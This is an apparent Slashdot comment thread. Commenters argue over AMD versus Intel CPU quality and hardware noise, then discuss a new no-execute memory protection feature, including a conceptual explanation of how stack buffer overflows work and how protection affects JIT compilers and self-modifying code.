      Or the recalled (that word, AGAIN?!) cc820 "cape cod" Intel motherboards.

      Or the data overwriting bug in the P4 CPUs.

      Or the P4 chipset bug that killed video performance.

      Or the Sun/Oracle P4 bug.

      Or the Itanium bug that was severe enough to make Compaq halt Itanium shipments.

      Or the Itanium 2 bug that "can cause systems to behave unpredictably or shut down".

      Or the numerous other P4/Xeon/XeonMP bugs that have been hanging around.

      Yes, I did consider the possibility that there might just be some basis for the belief that Intel's products are superior. Having considered that, in light of the mountains of evidence to the contrary, I shall now proceed to laugh at you.

      Ha ha ha.

      Now go away, or I shall mock you again.

      --
      -- "Government is the great fiction through which everybody endeavors to live at the expense of everybody else."
    73. Re:AMD needs better marketing by Anonymous Coward · · Score: 0

      However, I have two problems:
      (1) Noise. I can hear my computer from downstairs. I have one of those thermaltake fans with a variable resistor knob that you can hang out the back, and even at the lowest fan speed it's loud. .....

      My laptop is silent. What I really want is my desktop to be quiet and well performing without anything crazy (I don't want to buy a water cooling system or anything like that). I don't mind getting a new mobo, fan, and proc, but I don't want to move everything to a new case if I can avoid it.


      It is really a waste of time to compare the sound of a desktop system to a laptop. In most cases the desktop system is not designed for sound at all. I currently have an Athlon XP 2600+ and although I can hear it while in the same room, the noise level is very low, and I definitely cannot hear it from other rooms. If you get equipment from companies such as quietpc.com (an example, there are many other companies out there which provide similar stuff) you can really lower the noise level of your machine without having to replace anything other than maybe the CPU fan/heatsink, case fan, and power supply. I personally use CoolerMaster heatsink/fan combos because they offer both low noise level - although not the lowest - but offer great cooling at the same time. I also would suggest using Enermax power supplies for the same reason.

      (2) Performance. My computer is much slower than a pentium laptop I bought (1.4ghz pentium M I think). And it's much, much, slower than any pentium server I have used. When I boot my computer, it shows 1500+, although I can up the clockspeed to make it say 1800+. It's unstable at the higher clockspeed (slightly). At neither speed is it even comparable to any recent pentium I've used (including my laptop).M

      I'm not sure what you are trying to say here about performance: "it is really slower". How is it slower? If you really feel that your AMD is slower than a comparable Intel, then you should go benchmark it so you can see some real numbers. Gives a little more information than comparing boot times, loading your favorite application, or something to that effect. Also about the clock speed, the numbers you are talking about sound like the PR rating that AMD gives their chips (i.e. 2000XP is really a 1.6GHz, 2600XP is a 2.1GHz, etc..). The problem here is it sounds like you cant make up your mind on which clock speed you want your chip to work at. And if you are comparing the speeds to your Intel, then you might be comparing them with an underperforming AMD chip. To get the best comparison, you should leave the clockspeed of your AMD chip where its supposed to be at, and then try to benchmark again.

    74. Re:AMD needs better marketing by kryptkpr · · Score: 4, Informative

      Spend the few extra dollars on a good motherboard with the nForce2 chipset. I run an Asus A7N8X-E Deluxe and in my experience it's very speedy (compared to my old ECS K7S5A, bleh) and packed to the tits with features (FireWire, SATA+RAID, USB2.0, etc..).

      Also, good memory (we're talking at least the lifetime warranty kind here) is totally necessary if you want your system to be stable at high frequencies, it seems AMD CPUs are more sensitive to bad/cheap memory (particularly in ECS boards, they're cheap, but avoid them if you at all can).

      On a side note, AIDA32 shows the chipset bus on this board as being 8-bit HyperTransport v1.0 .. totally cool :)

      --
      DJ kRYPT's Free MP3s!
    75. Re:AMD needs better marketing by nyseal · · Score: 1

      How in the hell do you install a heatsink 'backwards'?

      --
      [SIG] Remember Mattel handheld games?
    76. Re:AMD needs better marketing by cbreaker · · Score: 1

      I'm thinking they need *any* marketing...

      To AMD: In the US, people like "television"

      --
      - It's not the Macs I hate. It's Digg users. -
    77. Re:AMD needs better marketing by Anonymous Coward · · Score: 1, Informative

      AMD rocks. I've been running AMD's since my K5-133 that replaced my last Intel chip, a dx/75. (or was it 100? dunno). Even back then, the only problem I had was one game (aces over the pacific) needed a small DOS patch to make it work right with the AMD chip. I suspect it was something intel had done, vice something AMD hadn't done, WRT programming.

      I just bought an AMD 2400 and put it in my mobo that is only rated (officially, anyway) for an XP 1800.

      Well, needless to say, it runs smooth and quite, right out of the box. I used the crappy fan that came with it.... I mean, this thing is an abomination. But was free! So I figured I'd test it out noise / heat wise compared to my volcano 9 turbo fan.

      Anyone wanna buy a volcano 9? Cheap?

      Buy AMD man. My Intel desktop at work (2.4 ghz) runs slower than my AMD 1 ghz (clocked to 1.4). Intel lengthened the pipline, so their numbers are really the lie.... the PR ratings are pretty close to accurate in real world testing.

      The only other person I have heard having any problems lately with an AMD, (and he was quite vociferous in his disdain for the chips) sounded like a classic BAD DIMM with random lockups and bsods etc on his system. I've seen that with Intel chips.... it's the RAM not the chip.

      AMD rocks! go AMD! gogogogo buy one now!

      (I yearn for a 64, but I'll wait till they are faster/cheaper)

    78. Re:AMD needs better marketing by jadavis · · Score: 1

      Thanks for the advice, it's helpful. I wasn't making the clockspeed mistake, I understand that slower clockspeeds can be faster.

      The reason I compared it to my laptop was because I wouldn't mind accepting the lower performance/price ratio if I got something that was as fast as my laptop and as quiet. Of course, I prefer the expandibility of a desktop (right now I've got two video cards and three HDs, which won't fit in a laptop).

      Anyway, it sounds like the 2600+ could be a good chip. I'll probably buy one of those, plus a new power supply and fan, and see if the noise level comes down. If I need a new mobo, that will be somewhat annoying, but I gotta do what I gotta do.

      I just get really frustrated going to the store a million times and everything seems to claim to be quiet or cool. I probably have a cheap motherboard (or low-quality rather) also, which could be causing some of my problems. Anything I do takes an entire day and might or might not help. And it's not exactly as though I have tough performance requirements if I just want it to be as good as a thinkpad I bought.

      --
      Social scientists are inspired by theories; scientists are humbled by facts.
    79. Re:AMD needs better marketing by Reziac · · Score: 1

      "Me too" can work, but not in the same product arena: As we speak I'm looking at a Viewsonic monitor, which proclaims on its logo, "Viewsonic on top". Note how this parallels (and even reinforces) Intel's slogan.

      However, if this were tried with a CPU (ie. same product arena), it would come off as an "also ran".

      [But I didn't buy this monitor because of the slogan, tho it cracks me up. I bought it because it had the clearest picture, AND a local service center.]

      --
      ~REZ~ #43301. Who'd fake being me anyway?
    80. Re:AMD needs better marketing by Reziac · · Score: 1

      Okay, be fair about this -- post the list of errata and bugs that AMD CPUs have experienced. I doubt their list would be any shorter or less dramatic.

      --
      ~REZ~ #43301. Who'd fake being me anyway?
    81. Re:AMD needs better marketing by xoran99 · · Score: 1

      My heatsink fell off once... I don't think the processor overheated, but what DID happen was that the falling heatsink took out a couple of capacitors on the way down... I thought that the motherboard turned itself off when the temperature got high, so I reattached the heatsink, tried to turn it on, and nothing happened. One of the stupidest things I ever did was hook a second power supply to the machine, thereby frying nearly everything connected to the motherboard. Bah.

      --

      Karma: Bad (mostly due to all those "In Soviet Russia" jokes)

    82. Re:AMD needs better marketing by Vancorps · · Score: 1
      I'm often surprised just as you seem to be. A lot of Athlon boards have capaciters on one side which prevent putting the heatsink on backwards but a lot of them ECS, Tyan, Epox, MSI, and a few boards from across the spectrum place them more intelligently. If you try hard enough you can put it on backwards, I've seen it happen a good couple of dozen times.

      But hey, I've also seen someone actually put an agp card in a pci slot .... (fits backwards) So it goes to show, if there is a will you can always find a way!

    83. Re:AMD needs better marketing by Brewdles · · Score: 1

      Right, except that some forms of copy protection on games require raw I/O access, which means being logged in as an admin. Couple that with the fact that some games don't like you using no-cd cracks (Battle.net, anyone?) and they're really putting the average user in a bind.

    84. Re:AMD needs better marketing by CoolVibe · · Score: 1
      I'd be interested to know how a return-into-libc exploit works.

      Google around, or read about it in Phrack. It's pretty advanced stuff, way too big to post here on slashdot. The article I linked to deals with PaX, which basically does the same as marking stack pages read-only. Similar techniques work on SPARC hardware too.

    85. Re:AMD needs better marketing by Mordes · · Score: 1

      intel processors to ensure stable profit margins for the intel corporation. *intel chimes* I always wondered if internal intel memos come equiped with a little button for those chimes. For the difference in price/point of preformance those chimes are begining to look damn expensive

    86. Re:AMD needs better marketing by Loki_1929 · · Score: 1

      Fair? I never made the claim that AMD's CPUs are of higher quality than Intel's. I'm simply pointing out that the common idea that Intel CPUs "just work" is wrong. Intel, AMD, VIA... it's all consumer grade, any which way you slice it. You don't get top-of-the-line for only a couple grand or less. When consumers are ready to drop $20,000 on a CPU en masse, we'll have high quality CPUs. Until then, we get bugs - regardless of which company we choose. I simply choose AMD because I believe they give the best price/performance ratio, and now include more features that will become useful to me. If someone else wants to choose Intel CPUs for some other reason, I'm all for it - but I won't sit idly by while people propogate outright lies.

      --
      -- "Government is the great fiction through which everybody endeavors to live at the expense of everybody else."
    87. Re:AMD needs better marketing by Max+Romantschuk · · Score: 1

      Partially off topic, but what the hell....

      I got a 700mhz slot Athlon and a top-of-the-line Abit board with VIA chipset. I then proceeded to fight with my system for two weeks. I could not make it work in either 98 or 2000. It just would not play nice with my GeForce or my pro audio card.

      I still have a 700mhz Slot-A Athlon with a Via-based motherboard... which won't play nice with my M-Audio Delta 1010. MIDI in stops responding after a while.

      So, what was your problem? The Wife Acceptance Factor of an upgrade hasn't quite been met yet...

      --
      .: Max Romantschuk :: http://max.romantschuk.fi/
    88. Re:AMD needs better marketing by Anonymous Coward · · Score: 0

      If I need a new mobo, that will be somewhat annoying, but I gotta do what I gotta do.

      If you are going to get a mobo for your AMD Athlon 2600+ XP then a great board I would suggest is the Asus A7N8X models. It uses the NVidia Nforce2 chipset and has great overclocking capabilities from within the BIOS. All the A7N8X models have 1 built in 10/100 ethernet port and 6 channel surround sound. But some of the extended models have some great extra features, such as the A7N8X Deluxe, which has a second built-in 10/100 ethernet port. Another great motherboard is the A7N8X-E, which the second ethernet port is Gigabit instead of the standard 10/100. Regardless of which one you select, you can't go wrong if you get one of the A7N8X models.

      Another suggestion is to consider purchasing these products online. You get a much better selection for price, and aside from the possibility of having to return the product, it usually saves you time and money to order online. A good place to start looking at prices is www.pricewatch.com (no personal affiliation, I have just been purchasing products through their website for about 5 years now). Have fun.

    89. Re:AMD needs better marketing by gregorio · · Score: 1
      Nor will there ever be IMO. But this combined with good practices like not running as admin when we don't need to (reading email, web browsing, game playing for example) will be a huge leap forward.
      Right, because a regular user can't send e-mails and will not have access to the computer's most important files (your personal files, not the ones you can just reinstall).
      Oh yeah, running as a restricted user will stop worms.
    90. Re:AMD needs better marketing by Anonymous Coward · · Score: 0

      Actually ATI hardware is inferior to Nvidia. They don't support 32 bit integer og 128 bit floating. And there OpenGL support sucks ass, and they have inferior linux support (basically bacause you can't get any documentation on the hardware, but that goes for Nvidia aswell. No NDAs don't count, I've tried. And no docs for the JIT, so don't even go there).

      But for using only D3Dv9 on Windows, ATI is, at the moment, better.

    91. Re:AMD needs better marketing by mattyrobinson69 · · Score: 1

      The Athlon XP was named just that because AMD worked with microsoft, when microsoft were working on XP.

      In benchmarks i read at the time showed the AMD Ath XP to completely blow away any other processor at the time (running XP) because XP was optimised for it.

    92. Re:AMD needs better marketing by EpsCylonB · · Score: 1

      I'm not sure but he might have meant upside down.

    93. Re:AMD needs better marketing by hesiod · · Score: 1

      > How in the hell do you install a heatsink 'backwards'?

      Look at your heatsink. Turn it 180 degrees and reinstall. Pretty simple to me. There are some MBs and/or HS clips that won't allow it, but it is very possible to do.

    94. Re:AMD needs better marketing by Sycraft-fu · · Score: 1

      The problem was making it play nice with IRQs (that's the card I had as well). The Delta isn't what one would call a well designed card when it comes to the computer interface and it doesn't play nice with IRQ sharing on VIA boards. Mine was a little more dramatic as in if I moved my mouse (USB was on the same IRQ) when I was playing sound, the system hung. Hard hang, no BSOD.

      See if it's sharing an IRQ with anything. If it is, make that not the case by shuffling cards and what have you.

    95. Re:AMD needs better marketing by Loki_1929 · · Score: 2, Insightful

      "I have lost respect for Tom and his publication."

      I've never had much respect for Tom; he's an egomaniac. Also, the website sold out to Intel and a number of other advertisers a few years ago (roughly 3). You'll notice a fairly rapid change in the articles if you look in the archives - that is, if you can find articles that haven't been re-edited or removed. They also have a habit of removing the author title or changing it when they decide they don't like the original author anymore.

      Tom's is now a joke. It's a site offering dumbed-down consumer grade articles with rigged benchmarks and conclusions that are non-sequitur. Attempts to hide the utter bias have faded with time, with AMD supporters now being openly labled as just a bunch of idiotic, delusional fanboys by some in the staff (Hi Omid!). The benchmarks are done with multiple driver versions, then vetted such that the best possible results for key advertisers can be shown. Anandtech still has a good deal of respect in the community, as well as from me (I'm more important! ;) ). Probably the best site I've run across is Ace's, which offers incredibly in-depth articles to those willing to learn a thing or two.

      Here's an excerpt from a recent column on Tom's:

      "There is nothing finer than raising the hackles of delusional AMD lovers. However, today I do so with a heavy heart. This is no time to take aim at the pompous, self-righteous head-in-the-sand-ostriches of the alternative chip lifestyle. One must embrace them, hug them and wipe away their tears.

      They are the freaks of low-cost computing, the poor, downtrodden users of products that never seem to be able to match PR numbers to actual performance, now almost beaten into marginality for all time.

      Of course, they won't admit this. They will howl at the moon, scream obscenities at nice, unassuming columnists with no axe to grind"


      --
      -- "Government is the great fiction through which everybody endeavors to live at the expense of everybody else."
    96. Re:AMD needs better marketing by Euler · · Score: 1

      You're correct. I remember trying to study the segment model in college, when everyone kept saying 'just don't use segmentation - it's too complicated'. I'm glad someone can explain it to me correctly.

      But as I'm looking through the 386 manual, it turns out that only 4 data segments (besides stack) can be used simultaneuosly, because segment selectors must first be loaded into the 4 data segment registers before a segment can be accessed. ....this makes it somewhat restrictive to allocate individual data structures in separate segments. But at least programs can shuffle these on-the-fly.

    97. Re:AMD needs better marketing by Barlo_Mung_42 · · Score: 1

      most worms and viruses try to muck with data in the system folder in order to install themselves and make use of the system. They often try to install as a service. This is all stuff they could not do with restricted rights.
      So yes. Running with restricted rights will stop a lot (most? who knows) of bad stuff. But I did say that it would not be perfect.

    98. Re:AMD needs better marketing by thestarz · · Score: 0

      How do you put a heatsink on backwards?

      Hammer?

      --

      c++; /* this makes c bigger but returns the old value */
    99. Re:AMD needs better marketing by Anonymous Coward · · Score: 0

      die

    100. Re:AMD needs better marketing by Reziac · · Score: 1

      Every line of CPUs has bugs; I think we all know that (or should, if we're realists). But if you're going to list a pile of errata for one CPU and not the other, that's not fair as it tends to give the less discerning the idea that only Intel CPUs have bugs, and AMD have been bug-free -- which is quite definitely not the case.

      And do you really know if their published errata are the whole story? of course not (any more than we know if Intel's are). But for some reason people want to believe that AMD would never cover up an "issue".

      I've personally been burned with an AMD CPU that has a fatal bug, and AMD would neither warranty it nor admit to the bug (which I learned of because a friend's CPU from the same production run had the same bug, and he got a confirm from an AMD tech that it was a known issue).

      Anyway, all I really meant to say is that if you're going to list all the ways one company screws up, it's only fair to list all the ways the other screws up. Otherwise you're as biased as those you're railing against.

      --
      ~REZ~ #43301. Who'd fake being me anyway?
    101. Re:AMD needs better marketing by Loki_1929 · · Score: 1

      If someone were to suggest or imply that AMD's CPUs are flawless, I would be just as quick to jump on them with a list of reasons they're wrong. As I said, I didn't set out to spark a debate about whether AMD makes better or worse quality chips than Intel. In fact, they're all consumer-grade products from the top of the line to the bottom. My stated goal was to eliminate the idea of Intel's squeaky clean image. In my personal opinion, neither AMD nor Intel makes high or low quality chips. They're chips that function well enough for most consumers to be happy with them. When consumers are ready to spend $30,000 on a computer that's no faster than what they can spend $1,000 on now, they'll get high quality parts with a very low failure/bug rate. Until then, what you see if what you get.

      --
      -- "Government is the great fiction through which everybody endeavors to live at the expense of everybody else."
    102. Re:AMD needs better marketing by Reziac · · Score: 1

      Oh, there've been plenty of /. posts, in various previous discussions, insisting that AMD CPUs are essentially flawless -- next time, come back and post their errata :)

      As to the quality of commodity products -- exactly so, they will only be as good as it takes to keep the market flowing and the bottom line in the black. So you can sell ten thousand $10,000 CPUs that cost $5,000 apiece to produce and are a bitch to get to market on time, or you can sell a hundred million $100 CPUs that cost $50 apiece to produce and can be dumped out by the truckload. Which one makes more return on your investment? D'oh!!

      Or as the law of square dealing states, "Bug free, cheap, on time, works. Pick two."

      --
      ~REZ~ #43301. Who'd fake being me anyway?
    103. Re:AMD needs better marketing by Anonymous Coward · · Score: 0

      "Hey, they fall off sometimes, or a fan fails, or the AC fails. Shit happens. Happened to a friend of mine, friend one of his CPUs, though the board was ok thankfully."

      Heatsinks don't fall off.
      It's almost impossible to pull the fuckers off.

    104. Re:AMD needs better marketing by Anonymous Coward · · Score: 0
      Moreover, this was not a flaw in the Athlon. The Athlon, since Athlon XP, has contained a thermal diode to enable safe thermal shutdown. The motherboard that Tom's Hardware used did not have the thermal protection circuitry.

      This is exactly the problem - while the intel chip had thermal protection circuitry on board, the AMD one depended on the motherboard to shut it down. If the motherboard didn't do it properly, the chip combusted.

      This is, in my opinion, the processor equivalent of not wearing a seatbelt, and relying on everyone else not to hit you.

  3. Awesome by RedWolves2 · · Score: 2, Funny

    Put me down for one! This is exactly what we all need. Why didn't they think of this in the first place. Always on Microsofts shoulders to button the buffers up. This will make a huge difference in security.

    1. Re:Awesome by paranode · · Score: 2, Interesting

      This will make a huge difference in security.

      Hopefully for the good, unless it creates a scenario where people think this chip protects them from everything and people update their software even less. Not all problems stem from overflows so if this technology is interpreted incorrectly, it could have negative implications.

    2. Re:Awesome by Sloppy · · Score: 5, Insightful
      Why didn't they think of this in the first place.
      Because it's hard to fix while keeping compatibility, and it was a different world in 1980.

      Some of today's problems are really just side-effects of the x86 legacy. If you're willing to break binary compatibility, fixing problems is really, really easy. For example, there's no law that stacks have to stupidly grow downwards in memory so that an overflow ends up overwriting older stuff on the stack space, instead of overwriting in the direction where the unallocated space is. And indeed, on many architectures, it works more sensibly. So even if you don't protect against overflows, their damage doesn't need to be so severe.

      But by the time it became popular for personal computers to be connected to the internet (and thus, overflow protection started to become really important), it was far too late to fix the problem, because too many people were locked into x86.

      --
      As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
    3. Re:Awesome by Unoti · · Score: 2, Informative

      Why didn't they think of this in the first place Another take on answering that question... originally processors were conceived to have data and programs separate. It wasn't until Von Neumann that someone proposed putting the data and programs in the same place.

    4. Re:Awesome by Anonymous Coward · · Score: 0

      You hit the nail right on the head. So many people want to ditch the old stuff, but backwards compatibility rules the day.

    5. Re:Awesome by phil+reed · · Score: 4, Insightful
      Why didn't they think of this in the first place.

      They did. Mainframes and the like have had protection from this sort of hack for ages. AS/400s have object orientation support built into the hardware, and a data object (which is what a stack or buffer would be implemented as) cannot be executed as code, no matter what. The hardware will not allow it. Nor would the buffer be allowed to grow into a code location.

      We're living with hardware and software architecture decisions made in the 1980s, when PCs were still considered toys.

      --

      ...phil
      "For a list of the ways which technology has failed to improve our quality of life, press 3."
    6. Re:Awesome by John+Courtland · · Score: 1

      Protection should have been able to stop that. I mustn't have a 100% grasp on how buffer overflows work. Do they overflow the current process's virtual address space? That's the only conceivable way to do that, if I understand protection properly, and I think I do. Not only that, but that means (I think) someone is being lazy with the stack selector, unless the stack cannot be protected (and if not, why not?). If you keep the stack selector small enough so that the only memory the stack can touch (as defined by SS) will always belong to the stack, if overflowed the MMU should poop out a 0xC0000005 (GPF) and stop execution.

      Please correct me if I'm mistaken, but this seems like a logical fix.

      --
      Slashdot is proof that Sturgeon's Law applies to mankind.
    7. Re:Awesome by MukiMuki · · Score: 0

      The problem is that when you make a new architecture, you open yourself up to a host of other unknown bugs that might not present themselves until some other odd use of computers shows up in the future. Buffer overflow seems to be one of the only MAJOR issues with X86, and if it can be fixed within the processor architecture, we're all bloody fine.

    8. Re:Awesome by xmath · · Score: 3, Informative
      Please correct me if I'm mistaken

      You are. A buffer overflow works by overflowing a stack-allocated buffer, causing other stack-allocated data to be overwritten. The usual method of exploiting this is by overwriting the return address with a value that points back into the buffer, so that the function will return straight into the buffer data, where the cracker will have put executable code of course.

      A way to provide some protection against this is by disabling the ability to execute code that is located on stack.

      Note that:
      1. there are already linux kernel patches to do this on x86 hardware, but they incur a slight performance penalty because they're implemented by abusing page table caches (there are separate ones for data, and you can deliberately make 'em inconsistent so that the table entry for data says access is allowed, while the one for code says it's disallowed)
      2. this does not prevent buffer overflow exploits entirely, it just makes 'em a lot harder. There are tricks you can still use sometimes like putting the known address of some useful library function into the return address

      hope this helps to clear it up a bit

    9. Re:Awesome by IPFreely · · Score: 1
      It's been a while since I read the specs on these processors, but I seem to remenber that X86 has had code vs. data protection as far back as the 286. In that case, it was the code segment and the data segment designation that protected the data from being executed. This was in the segment tables in 286 and up, but not in the page tables on the 386 and up.

      Of course, since most OSs went to the 32-bit flat model, every segment just pointed to the same place thereby killing any protection advantage you had. I would presume this modification allows the code vs data protection to be specified in the page table entry so pages are protected individually within the flat address space.

      It's a good move, but it is not entirely new, and the processors did have protection before. It was just in a place where the feature wasn't used much.

      --
      There is nothing so silly as other peoples traditions, and nothing so sacred as our own.
    10. Re:Awesome by dustman · · Score: 3, Informative

      Do they overflow the current process's virtual address space?

      No. On the stack itself, in addition to the local data for a function (and the saved registers), is the return address that you are going to jump back to after the function is complete. Buffer overflow exploits write past the end of the buffer. So you are overflowing the function's local data, not the entire stack segment. As the previous poster mentioned, because the stack grows downward, your overflow can write over the return address, which is where all the nastiness starts.

      In addition to this, is the fact that the binaries are always the same for each machine, and the process's memory all logically maps to the same location (windows user code maps to 0x10000000).

      So, say someone writes a program and somewhere has a static buffer for input which is 256 bytes, and doesn't check bounds on input data. You can construct an input which is more than 256 bytes, and your data will overwrite stuff which is outside of the input buffer, perhaps the return address. So, with the proper input, you can make the program jump to an arbitrary point.

      Usually, whenever a function is called, it will be called at the same depth of recursion. Like, I might make a function, "authenticate", which asks for your username and password (storing them without checking in my 256 byte buffers), then checks credentials and either proceeds or returns an error code.

      This function will probably only be called once, and it will always be called at the same time in program execution, relatively early. The stack will always be the same size when it is called. (Like, your call stack at this point might look like: main() -> initialize() -> authenticate()) or whatever).

      Sometimes, a function might be called from multiple places... Maybe there is something like "getAddress()", which does pretty much the same thing, it grabs an address input by the user, but it might be called from many places in the executable. Each call will have its own characteristic call stack, and offset within the stack segment. The stack frames of all functions leading down to it will be present. (You can usually examine the current call stack in a debugger).

      If you know "where" the function will be called from in this manner, you will know the exact stack layout at this point, including the absolute addresses and everything (which you know because the binaries are always the same and the executable always maps to the same logical place in memory).

      So, you can overwrite the return address so that it returns to inside the input buffer. Then, you have 256 bytes (in this example) to work with for constructing your little exploit. Often, the exploit will be just a stub which downloads another malware program and launches it, or whatever.

      There is a little bit more to it. Like, you usually need to construct your input so that you don't have any 0 bytes within it, because that will signify the end of a string. The input, even though it's not bounds checked, might still be validated in some fashion. (I think I remember reading about someone who had made a "codec", so that the input data could be composed of valid alphanumeric characters. So, even the unpacker was alphanumeric, which is pretty cool).

    11. Re:Awesome by John+Courtland · · Score: 1

      Thanks, for some reason I wasn't thinking clearly enough about it. It's quite obvious they munge the return addresses, I just wasn't thinking clearly about it. Anyhow, selectors define an "executable" flag. Why not use that? Is the stack selector special somehow? Or is it because OS designers don't want to place limitations upon memory execution?

      --
      Slashdot is proof that Sturgeon's Law applies to mankind.
    12. Re:Awesome by mevets · · Score: 1

      Segments descriptors can set RO, RW, RX or XO. WX is not valid. For this reason, x86 apps which want to use non-overlapping ranges for cs, ds, ss, ... must pass around "far" attributed pointers which specify which segment a given pointer refers to:

      char buf[13] = "hello, world";

      main()
      {
      printf("%s\n", buf);
      }
      Printf would have to 'know' that the literal was relative to the code segment (const) and that buf was relative to the data segment. This multi-model programming was predominant in OS/2, DOS, WINDOWS and XENIX over a decade ago, and the sheer inelegance of it may account for SCOs mean spiritedness.

      The predominant unix model is to have cs, ds, ss share a base virtual address (0); that is they may have separate permissions but a given offset refers to the same location [ or a bus fault ] for any segment it is applied to.

      The real problem is the page table entry - pages can either be RX or RWX (as controlled by the writable bit). I presume AMD/Intel have agreed on some bit combination to permit R, RW, RX, RWX to be specified.

    13. Re:Awesome by Bryson · · Score: 1

      > For example, there's no law that stacks have to stupidly grow
      > downwards in memory so that an overflow ends up overwriting
      > older stuff on the stack space, instead of overwriting in the
      > direction where the unallocated space is.

      That doesn't help much, because the assumption of unallocated
      space isn't usually true. More often than not, the buffer is
      allocated then passed to another routine (for example, sprinf).
      It's actually the called routine that writes the data that
      overflows the buffer. With a stack that grows upward in memory,
      the attack simply overwrites sprinf's return address rather than
      the return address of the function that allocates the buffer.

  4. Code rewrites going to be needed? by PornMaster · · Score: 5, Interesting

    I know that people using standard APIs might be fine, but I can't help but wonder how many applications will not work because of it. While there probably aren't many self-modifying code apps out there, there are surely some. Will they be affected?

    1. Re:Code rewrites going to be needed? by Rockenreno · · Score: 3, Insightful

      Anytime you change the architecture of a chip there will be side effects. It is inevitable. I am interested to see what the repercussions might be it terms of code, performance, and even reliability. If they implemented this well, perhaps these side effects will be minimal and unnoticeable, in which case this could be a major development!

      --

      Forecast for tomorrow: A few sprinklings of genius with a chance of DOOM!
    2. Re:Code rewrites going to be needed? by codexus · · Score: 2, Insightful

      My guess is that many applications use self-modifying code as part of their anti-piracy/anti-reverse-engineering protection.

      --
      True warriors use the Klingon Google
    3. Re:Code rewrites going to be needed? by chamilto0516 · · Score: 5, Interesting
      Self modifying code apps would be affected. And I think that is a good thing because you would want to ferret out such things in your systems.

      Writing self-modifying code was the first thing my Assembler instructor put his foot down and said, "bad idea, don't even think about it." I could see you could do it easily with assembler.

      I would entertain listening to cases where self-mod'ing code has its place.

      --
      Magic Eight Ball: Outlook not so good., Hmmm, how about Excel and Word?
    4. Re:Code rewrites going to be needed? by Anonymous Coward · · Score: 2, Insightful

      Many UNIX versions already support this kind of protection and it's on by default. Good portable code deals with it. If I remember right, you have to use mmap to get a special section of memory that you can both write and execute.

    5. Re:Code rewrites going to be needed? by taniwha · · Score: 2, Insightful

      self modifying code is one thing ... but there are real apps have needs to create code on the fly and execute it (great examples are Java JIT compilers, and wonderfull valgrind) .... on the other hand a FAST, standard way to set the pages protections on some newly created code from RW- to R-X would be appropriate in these cases

    6. Re:Code rewrites going to be needed? by Anonymous Coward · · Score: 0

      You may not need code-rewrite. Most likely, you should only need re-compile. DEC VAX fortran compilers used to have this feature. I believe, it had some performance penalty (separating data section and code section was slow) and hence it was an option.

      Aren't we going back in time? Wasn't this what people called "Harvard Architecture" (code and data segments don't share memory) vs "Von-Neuman Architecture" (code and data share memory).

    7. Re:Code rewrites going to be needed? by J-Worthington · · Score: 4, Interesting

      One type of application that would need to take this into account would be JIT compilers, e.g. like that used in .Net. These create native code in memory to execute, with the objective of increasing performance. These apps simply need to state that they want the memory they allocate to be executable when they allocate it, then they can continue to work as before.

    8. Re:Code rewrites going to be needed? by prockcore · · Score: 1

      My guess is that many applications use self-modifying code as part of their anti-piracy/anti-reverse-engineering protection.

      They also use it to keep the .exe size down. All those pklite-style programs that crunch down the .exe basically just compress the exe and have a loader that unzips it in memory.

    9. Re:Code rewrites going to be needed? by imnoteddy · · Score: 4, Interesting
      My guess is that many applications use self-modifying code as part of their anti-piracy/anti-reverse-engineering protection.

      In the early '90s Motorola released the 68040 with a code cache that made programs that used self-modifying code crash and burn. Apple had been telling people for years not to write self-modifying code because this was going to happen. When Apple started building prototype Macs with 68040s and started testing for compatibility who do you suppose was one of the biggest offenders? Microsoft. I am not making this up.

      --
      No electrons were harmed creating this post, though some may have been subjected to electrical and/or magnetic fields.
    10. Re:Code rewrites going to be needed? by kawika · · Score: 4, Informative

      Any application that creates code in stack-based memory such as a local (auto) variable, or in one of the standard heaps (from which malloc and "new" memory come) will be affected. This memory is no longer executable and cannot be made executable by an application. Some existing JIT compilers are affected and will need rework.

      To work with memory protection enabled, applications will need to allocate memory using VirtualAlloc and specify the memory options to make it executable. Then they can generate and run the code there.

      I am assuming that Linux could incorporate some similar functionality, anybody know if someone is working on it?

    11. Re:Code rewrites going to be needed? by willy_me · · Score: 2, Informative

      Self modifying code won't run on most modern architectures. Take PPC for example, there are two separate caches, one for code and one for data. The code can not be changed during runtime. There are of course lots of programming languages that utilize "self modifying" code but they typically run with an interpreter who's code does not change. I'm not sure how gdb gets around this problem but if anyone wants to enlighten me, I'm listening.

      Apps that use self-modifying code probably only run on one architecture - most likely the 8x86. There are far better ways to protect one's code.

      Self-modifying code is prone to bugs, hard to develop, hard to maintain, hardware dependent, and to top it all off - not that effective at providing security.

    12. Re:Code rewrites going to be needed? by cjellibebi · · Score: 4, Informative
      > I would entertain listening to cases where self-mod'ing code has its place.

      The Intel x86 architecture has few registers, so if you want to keep lots of values handy, you're going to have to keep swapping values in and out of memory. Alternatively, immediate-value constants can be hard-coded in the code that do not change during a long loop or a loop with many layers of nestedness. Just before the loop is executed, these hard-coded constants will be modified by re-writing the immediate-values in the code. An example of this is some code that draws a scaled translucent sprite. Throughout the code, the scale will remain constant, and if the translucency is uniform, that will remain constant too. The code that does the translucent blitting will use the registers only for values that change during the sprite-drawing.

      On an 80386, using this technique will cause a significant speed-increase in the code, but on 80486's and above where there are on-board L1 caches on the CPUs, the code-modification may cause cache-misses that may slow down the system - espcecially if it is run on an even newer x86 CPU that has a seperate program and data cache in the L1 cache. To make things worse, nowardays, most code runs in a multi-tasking environment, so trying to figure out if self-modifying code causes a slowdown or a speed-increase is almost impossible to predict.

      Of course, nowardays, most drawing is done by hardware accellerated graphics cards so this isn't a good example, but there could still be some use for hard-coding values that do not change in a loop.

    13. Re:Code rewrites going to be needed? by drinkypoo · · Score: 2, Funny

      That's ok, I install cracks on all of my copy-protected software anyway. In the case of games it's to remove the CD check. In this case, you might have to use a crack just to stop the program from crashing :)

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    14. Re:Code rewrites going to be needed? by John+Sully+(I+hate+a · · Score: 1

      I don't think that this will require code rewrites. They will just have to add page protection bits which prevent execution in data pages. Currently the permission are read/execute and write, changing them to read, execute and write will allow relatively minor changes in the OS to provide this protection.

      --
      Isn't theory a great place? Everything works in theory.
    15. Re:Code rewrites going to be needed? by Anonymous Coward · · Score: 0
      While there probably aren't many self-modifying code apps out there, there are surely some


      You won't be able to run Quake (the original) with software rendering. Slamming paramters directly into code and then branching was SOP for game programmers in those days.

    16. Re:Code rewrites going to be needed? by Monkelectric · · Score: 2, Informative
